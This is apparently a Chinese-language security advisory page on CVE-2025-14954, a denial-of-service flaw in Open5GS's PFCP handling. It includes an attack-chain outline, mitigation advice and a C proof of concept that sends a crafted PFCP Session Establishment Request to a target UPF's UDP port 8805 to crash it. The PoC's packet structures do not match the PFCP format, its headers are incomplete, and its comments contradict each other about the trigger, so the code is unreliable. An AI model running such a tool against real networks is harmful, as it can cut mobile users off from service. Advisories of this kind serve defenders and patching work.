IPBUF安全漏洞报告
English
CVE-2025-14954 CVSS 3.7 低危

Open5GS PFCP协议QER/FAR/URR/PDR对象可达断言拒绝服务漏洞(CVE-2025-14954)

披露日期: 2025-12-19

漏洞信息

漏洞编号
CVE-2025-14954
漏洞类型
拒绝服务
CVSS评分
3.7 低危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Open5GS

相关标签

CVE-2025-14954Open5GSPFCP可达断言拒绝服务5G核心网UPF网络安全电信设备

漏洞概述

Open5GS是开源的5G核心网实现软件,广泛应用于电信运营商和研究机构。本漏洞存在于Open5GS的PFCP(Packet Forwarding Control Protocol)协议处理模块中,具体位于lib/pfcp/context.c文件内的多个关键函数中,包括ogs_pfcp_pdr_find_or_add、ogs_pfcp_far_find_or_add、ogs_pfcp_urr_find_or_add和ogs_pfcp_qer_find_or_add。这些函数负责查找或添加PFCP会话中的PDR(Packet Detection Rule)、FAR(Forwarding Action Rule)、URR(Usage Reporting Rule)和QER(QoS Enforcement Rule)对象。攻击者可以通过构造特定的PFCP消息触发这些函数中的断言条件,导致服务中断。由于该漏洞位于5G核心网用户面功能的关键路径上,成功利用可能导致5G网络连接的终端设备失去连接,影响通信服务的可用性。漏洞已于2025年12月19日披露,建议相关用户尽快采取修复措施。

技术细节

该漏洞属于可达断言(Reachable Assertion)类型,存在于Open5GS的PFCP协议栈实现中。PFCP是5G核心网中控制面与用户面分离架构的关键协议,用于在控制面节点(如SMF)与用户面节点(如UPF)之间传递控制信息。在处理PFCP会话建立或修改请求时,系统需要通过ogs_pfcp_pdr_find_or_add等函数来管理会话中的各种规则对象。攻击者可以通过发送精心构造的PFCP消息,触发这些函数中的断言检查失败。具体的漏洞触发条件涉及对已存在对象的重复添加或不合法的状态转换。CVSS评分3.7(低危)主要反映了高攻击复杂度(AC:H)和低可用性影响(A:L)的特点。由于攻击需要深入理解PFCP协议细节和Open5GS的具体实现,且需要能够与目标UPF建立PFCP会话连接,因此实际利用难度较大。建议通过官方提供的补丁(commit: 442369dcd964f03d95429a6a01a57ed21f7779b7)进行修复。

攻击链分析

STEP 1
步骤1
信息收集:攻击者首先识别目标Open5GS UPF实例,确认其IP地址和PFCP服务端口(默认8805/UDP)
STEP 2
步骤2
协议分析:攻击者需要深入理解PFCP协议结构和Open5GS的具体实现,特别是PDR/FAR/URR/QER对象的创建和查找逻辑
STEP 3
步骤3
构造恶意请求:攻击者构造包含非法PDR ID或其他规则标识符的PFCP Session Establishment Request消息
STEP 4
步骤4
触发漏洞:向目标UPF发送恶意PFCP消息,触发ogs_pfcp_pdr_find_or_add等函数中的断言条件
STEP 5
步骤5
拒绝服务:断言失败导致UPF进程崩溃或异常终止,影响5G用户面的数据包转发功能

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* * CVE-2025-14954 PoC - Open5GS PFCP Reachable Assertion * Target: Open5GS <= 2.7.6 * This PoC demonstrates sending a crafted PFCP Session Establishment Request * that triggers assertion in ogs_pfcp_pdr_find_or_add/ogs_pfcp_far_find_or_add/etc. * * Note: This is for educational and authorized testing purposes only. * Requires network access to the target UPF PFCP port (8805/UDP by default). */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/socket.h> #include <netinet/in.h> /* PFCP IE types */ #define PFCP_IE_NODE_ID 56 #define PFCP_IE_F_SEID 57 #define PFCP_IE_PDR_ID 60 #define PFCP_IE_CREATE_PDR 1 #define PFCP_IE_CREATE_FAR 3 #define PFCP_IE_CREATE_URR 7 #define PFCP_IE_CREATE_QER 11 #pragma pack(push, 1) typedef struct { uint8_t flags; uint16_t message_type; uint32_t message_length; uint64_t seid; } pfcp_header_t; typedef struct { uint16_t ie_type; uint16_t ie_length; uint8_t instance; uint8_t flags; } pfcp_ie_header_t; #pragma pack(pop) void create_pfcp_session_establishment(uint8_t *buffer, size_t *len) { pfcp_header_t *hdr = (pfcp_header_t *)buffer; size_t offset = sizeof(pfcp_header_t); /* PFCP Header - Session Establishment Request */ hdr->flags = 0x20; /* S flag = 1, SEID present */ hdr->message_type = 0x32; /* Session Establishment Request */ hdr->message_length = 0; /* Will update later */ hdr->seid = 0x0000000100000001ULL; /* Source SEID */ /* IE: Node ID */ pfcp_ie_header_t *node_ie = (pfcp_ie_header_t *)(buffer + offset); node_ie->ie_type = PFCP_IE_NODE_ID; node_ie->ie_length = 5; node_ie->instance = 0; node_ie->flags = 0x01; /* IPv4 */ *(buffer + offset + 4) = 127; *(buffer + offset + 5) = 0; *(buffer + offset + 6) = 0; *(buffer + offset + 7) = 1; offset += 8; /* IE: Create PDR - Trigger assertion by duplicate ID */ pfcp_ie_header_t *pdr_ie = (pfcp_ie_header_t *)(buffer + offset); pdr_ie->ie_type = PFCP_IE_CREATE_PDR; pdr_ie->ie_length = 10; pdr_ie->instance = 0; offset += 4; /* PDR ID sub-IE */ pfcp_ie_header_t *pdr_id = (pfcp_ie_header_t *)(buffer + offset); pdr_id->ie_type = PFCP_IE_PDR_ID; pdr_id->ie_length = 2; pdr_id->instance = 0; *(uint16_t *)(buffer + offset + 4) = 0xFFFF; /* Invalid ID to trigger assertion */ offset += 6; /* Update message length */ hdr->message_length = offset - sizeof(pfcp_header_t); *len = offset; } int main(int argc, char *argv[]) { int sock; struct sockaddr_in target; uint8_t packet[1024]; size_t pkt_len; if (argc < 2) { printf("Usage: %s <target_ip>\n", argv[0]); return 1; } sock = socket(AF_INET, SOCK_DGRAM, 17); /* UDP */ if (sock < 0) { perror("socket"); return 1; } memset(&target, 0, sizeof(target)); target.sin_family = AF_INET; target.sin_port = htons(8805); target.sin_addr.s_addr = inet_addr(argv[1]); create_pfcp_session_establishment(packet, &pkt_len); printf("Sending crafted PFCP Session Establishment to %s:8805\n", argv[1]); printf("Packet size: %zu bytes\n", pkt_len); if (sendto(sock, packet, pkt_len, 0, (struct sockaddr *)&target, sizeof(target)) < 0) { perror("sendto"); return 1; } printf("Packet sent. Target may crash or log assertion failure.\n"); close(sock); return 0; }

影响范围

Open5GS < 2.7.7

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时缓解措施:1) 在网络层限制对Open5GS UPF PFCP端口(8805/UDP)的访问,仅允许授权的SMF节点IP连接;2) 部署防火墙或IPS规则,检测和阻止包含异常PFCP IE元素的会话建立请求;3) 监控UPF进程的运行状态,设置告警以便在服务中断时及时响应;4) 考虑在测试环境中验证PFCP协议实现的安全性。需要注意的是,这些措施无法从根本上消除代码中的断言漏洞,强烈建议尽快应用官方修复补丁。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表